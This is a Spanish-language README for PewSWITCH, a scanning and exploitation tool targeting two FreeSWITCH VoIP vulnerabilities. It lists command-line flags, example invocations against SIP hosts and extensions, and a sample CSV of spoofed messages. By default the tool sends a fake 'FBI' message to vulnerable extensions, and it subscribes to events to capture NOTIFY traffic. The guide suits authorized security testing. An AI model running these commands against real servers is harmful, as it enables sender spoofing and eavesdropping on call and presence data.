
Un kit de escaneo y explotación específico de FreeSWITCH para CVE-2021-37624 y CVE-2021-41157.
Un kit de escaneo y explotación específico de FreeSWITCH para CVE-2021-37624 y CVE-2021-41157.
Blog relacionado: https://0xinfection.github.io/posts/analyzing-freeswitch-vulns/
La declaración de ayuda de la herramienta es la siguiente:
$ ./pewswitch --help
___ . ____ _ __ __
/ _ \___|\ __/ __/| __(_) /_____/ /
/ ___/ -_) |/|/ /\ \| |/|/ / / __/ __/ _ \
/_/ \__/|__,__/___/|__,__/_/\__/\__/_//_/ v0.1
"where we pew pew pew freeswitch"
Usage of ./pewswitch:
-cve string
Specify a specific CVE to scan. Both vulns are tested by default.
-delay int
Delay in seconds between subsequent requests. (default 0)
-events string
Comma-separated list of events to be subscribed to. All events are monitored by default.
-expires int
Maximum value of the 'Expires' header for SUBSCRIBE requests. (default 60)
-ext-file string
Specify a file containing extensions instead of '-exts'.
-exts string
Comma separated list of extensions to scan.
-msg-file string
Specify a CSV file containing messages to be sent (if found vulnerable to CVE-2021-37624).
-out-dir string
Output directory to write the results to. (default "./pewswitch-results/")
-out-format string
Output format type of the results. Can be either 'json' or 'csv'. (default "json")
-threads int
Number of threads to use while scanning. (default 2)
-user-agent string
Custom user-agent string to use. (default "pewswitch/0.1")
Por defecto, la herramienta escanea ambas vulnerabilidades. Si desea probar una vulnerabilidad específica, puede usar la bandera -cve para probarla.
Ejemplo:
./pewswitch -cve 'cve-2021-37624' -exts 1000 freeserver.voip.com
Para especificar extensiones, puede elegir uno de los siguientes métodos:
Especificar una lista separada por comas de extensiones mediante el argumento -exts.
Ejemplo:
./pewswitch -exts 1000,1001 freeserver.voip.com freeserver1.voip.com:5060
Esto hará que la herramienta pruebe combinaciones de pares para cada extensión con cada host. Así que los objetivos finales que se probarán en el comando anterior son: [email protected], [email protected], [email protected]:5060 y [email protected]:5060.
Especificar un archivo que contenga las extensiones. Tenga en cuenta que al usar un archivo, debe especificar tanto el usuario como el host. Esto es especialmente útil cuando necesita probar extensiones específicas en servidores específicos. Un ejemplo de dicho archivo (por ejemplo, extensions-sample.txt) podría verse así:
[email protected]
[email protected]:5060
[email protected]:5660
...
Ejemplo:
./pewswitch -ext-file extensions-sample.txt
Tenga en cuenta que si no se especifica ningún puerto con el host, se usará el puerto 5060 por defecto como puerto de destino.
La herramienta puede generar resultados en 2 formatos diferentes, a saber, JSON y CSV. El formato de salida predeterminado es JSON. El formato de salida se puede cambiar usando el interruptor -out-format.
Ejemplo:
./pewswitch -exts 1000 -out-format csv freeserver.voip.com
Puede encontrar muestras de informes en formato json así como csv en el directorio ./pewswitch-results/.
El directorio de salida de destino se puede cambiar usando el argumento -out-dir. Por defecto, el directorio de salida es ./pewswitch-results/, que se crea en el directorio de trabajo actual mientras se ejecuta la herramienta.
Ejemplo:
./pewswitch -ext-file extensions-sample.txt -out-dir /tmp
Hay algunas configuraciones adicionales específicas de paquetes en la herramienta que permiten la personalización de las solicitudes durante la validación/explotación de vulnerabilidades.
Si se encuentra que un servidor es vulnerable a CVE-2021-37624, por defecto se envía un mensaje de muestra del nombre FBI y número 022-324-3000 a la extensión de destino. El contenido del mensaje es: FBI here. Open your door!
Este comportamiento se puede cambiar usando el argumento -msg-file. Este acepta un archivo CSV que contiene el nombre del remitente, el número de teléfono y, por último, el contenido del mensaje a enviar. Un ejemplo de dicho archivo es messages-sample.csv.
sender_name,sender_phone,message
FBI,022-324-3000,FBI here. Open your door!
0xInfection,000-000-0000,Hi. Just confirming the vulnerability.
SPAMMY SALESMAN,BAD-GUY-9999,BUY MY STUFF!
Ejemplo:
./pewswitch -cve 'cve-2021-27624' -msg-file messages-sample.csv -exts 1000 freeserver.voip.com
Por defecto, la herramienta envía solicitudes SUBSCRIBE con un encabezado Expires establecido en 60 segundos. Durante el mismo período de tiempo, la herramienta continuará escuchando mensajes NOTIFY del servidor. El valor se puede cambiar usando la bandera -expires.
Ejemplo:
./pewswitch -expires 600 -ext-file extensions-sample.txt
La herramienta también monitorea mensajes NOTIFY suscribiéndose a todos los eventos. A continuación se muestra una lista de todos los eventos:
talkholdconferenceas-feature-eventdialogline-seizecall-infoslainclude-session-descriptionpresencepresence.winfomessage-summaryreferEste comportamiento se puede cambiar mediante la bandera -events, que toma una lista separada por comas de eventos a monitorear. Ejemplo:
./pewswitch -cve 'cve-2021-41157' -events message-summary,presence -exts 1000,1002 freeserver.voip.com
Puede usar los binarios precompilados de la sección Releases. O, si prefiere compilar el código usted mismo, necesitará Go > 1.13. Para construir la herramienta, puede ejecutar go build, lo que le dará un binario para ejecutar.
La herramienta está disponible bajo la Licencia MIT. Siéntase libre de hacer lo que quiera con ella. :)
Actualmente, PewSWITCH está en v0.1.
¿Nuevas solicitudes y características? No dude en crear un issue o un pull request.
Si tiene algo que discutir, puede contactarme a través de Twitter/correo electrónico en mi perfil.
Creado con ♡ por Pinaki.